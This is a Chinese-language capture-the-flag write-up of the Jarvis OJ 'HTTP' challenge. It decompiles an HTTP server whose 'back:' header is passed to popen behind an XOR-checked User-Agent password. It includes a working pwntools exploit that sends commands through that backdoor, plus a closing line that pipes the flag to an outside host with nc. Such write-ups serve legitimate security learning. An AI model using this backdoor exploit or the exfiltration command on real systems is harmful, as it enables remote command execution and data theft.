Jarvis OJ-HTTP-WP

Posted on Jul 18, 2021

最开始的时候我也是想成为一个 web 手的,但是在入门的时候就被绊倒在了门槛上。近期参与的比赛中有碰到 http 服务器后门相关的 pwn 题,看起来属于难度比较低的题目,但是由于我对这个东西没有任何了解,就完全不会做,比较可惜,所以我觉得还是有必要了解一下相关的东西,所以就挑了这一道入门题来做一下。

elf 文件是一个 http 服务器,使用 fork 创建新进程处理请求。开头建立了一个 socket 来接受链接,监听了 1807 端口

然后看到 fork 之后的逻辑

v4 为接受 fork 返回值的变量,其值为 0 代表该进程为子进程,那么 sub_40137C 就是服务器接受请求的主逻辑了。此函数中使用了一个 while 循环来一直接收请求

__int64 __fastcall sub_40137C(unsigned int a1)
{
  __int64 result; // rax
  void *ptr; // [rsp+18h] [rbp-8h]

  while ( 1 )
  {
    result = sub_40125D(a1);
    ptr = (void *)result;
    if ( !result )
      break;
    sub_4010DF(a1, off_601CE0);
    free(ptr);
  }
  return result;
}

其中 sub_40125D 函数按每个请求来切割所有的请求

char *__fastcall sub_40125D(int a1)
{
  int v1; // eax
  char buf; // [rsp+1Fh] [rbp-211h] BYREF
  char s[520]; // [rsp+20h] [rbp-210h] BYREF
  int v5; // [rsp+228h] [rbp-8h]
  int v6; // [rsp+22Ch] [rbp-4h]

  v6 = 0;
  while ( 1 )
  {
    v5 = read(a1, &buf, 1uLL);
    if ( v5 < 0 )
      break;
    if ( v5 )
    {
      v1 = v6++;
      s[v1] = buf;
      if ( v6 <= 3 || s[v6 - 1] != '\n' || s[v6 - 2] != '\r' || s[v6 - 3] != '\n' || s[v6 - 4] != '\r' )
        continue;
    }
    goto LABEL_10;
  }
  perror("read");
LABEL_10:
  s[v6] = 0;
  if ( (unsigned int)sub_40116C(s) )
    return 0LL;
  if ( s[0] )
    return strdup(s);
  return 0LL;
}

HTTP 协议中,请求头由 \r\n\r\n 结束,这里在 while 中的 if 就是判断是否扫完了请求头。

特别的,这里有一个 sub_40116C 函数,是对 User-Agent 和请求头的处理,只对 back: 头部字段响应。

__int64 __fastcall sub_40116C(const char *a1)
{
  char s[32768]; // [rsp+10h] [rbp-8230h] BYREF
  char v3[512]; // [rsp+8010h] [rbp-230h] BYREF
  char v4[40]; // [rsp+8210h] [rbp-30h] BYREF
  char *v5; // [rsp+8238h] [rbp-8h]

  v5 = strstr(a1, "User-Agent: ");
  if ( !v5 )
    return 0LL;
  __isoc99_sscanf(v5, "User-Agent: %32s\r\n", v4);
  if ( !(unsigned int)sub_400FAF(v4) )
    return 0LL;
  v5 = strstr(a1, "back: ");
  if ( !v5 )
    return 0LL;
  __isoc99_sscanf(v5, "back: %512[^\r]s\r\n", v3);
  sub_40102F(v3, s, 0x8000LL);
  puts(s);
  sub_4010DF((unsigned int)fd, s);
  return 1LL;
}

back: 的响应由函数 sub_40102F 处理

__int64 __fastcall sub_40102F(const char *a1, char *a2, int a3)
{
  char *v3; // rbx
  FILE *stream; // [rsp+20h] [rbp-20h]
  int i; // [rsp+2Ch] [rbp-14h]

  stream = popen(a1, "r");
  if ( stream )
  {
    for ( i = 0; ; ++i )
    {
      v3 = &a2[i];
      *v3 = fgetc(stream);
      if ( *v3 == -1 || a3 - 1 <= i )
        break;
    }
    pclose(stream);
  }
  else
  {
    i = sprintf(a2, "error command line:%s \n", a1);
  }
  a2[i] = 0;
  return (unsigned int)i;
}

会直接执行该字段值,也就是只需要通过 back 字段就可以实现任意代码执行,实现后门的利用。不过利用后门之前要通过 User-Agent 的检测,也就是 sub_400FAF 这里的判断

__int64 __fastcall sub_400FAF(__int64 a1)
{
  int v2; // [rsp+1Ch] [rbp-14h]
  char *s; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  s = (char *)sub_400D30(off_601CE8);
  v2 = strlen(s);
  for ( i = 0; i < v2; ++i )
  {
    if ( (i ^ *(char *)(i + a1)) != s[i] )
      return 0LL;
  }
  return 1LL;
}

s 是在运行时解密的字符串,然后与我们输入的 User-Agent 字段值进行比较,与下标异或后都相同即可通过检测。s 这个字符串可以通过动调容易地求出。

所以就有 exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"

#sh = remote("localhost", 1807)
sh = remote("pwn.jarvisoj.com", "9881")

def calcPassword():
    crypt = list("2016CCRT")
    for i in range(len(crypt)):
        crypt[i] = chr(ord(crypt[i]) ^ i)
    return "".join(crypt)

def generateRequest(userAgent, cmd):
    request = "GET / HTTP/1.1\r\n"
    request += "User-Agent: %s\r\n" % (userAgent)
    request += "back: %s\r\n" % (cmd)
    request += "\r\n\r\n"
    return request

sh.send(generateRequest(calcPassword(), "cat flag"))

print sh.recv()

不过不知道为什么,直接 cat flag 并不会返回 flag,可能服务器有过滤,所以可以考虑反弹 shell,但是我尝试后也无果,所以还是通过 nc 发送到我的服务器上,也就是把 cat flag 换成

cat flag | nc my_domain_ip 2000

然后在服务器上 nc -l 2000 即可。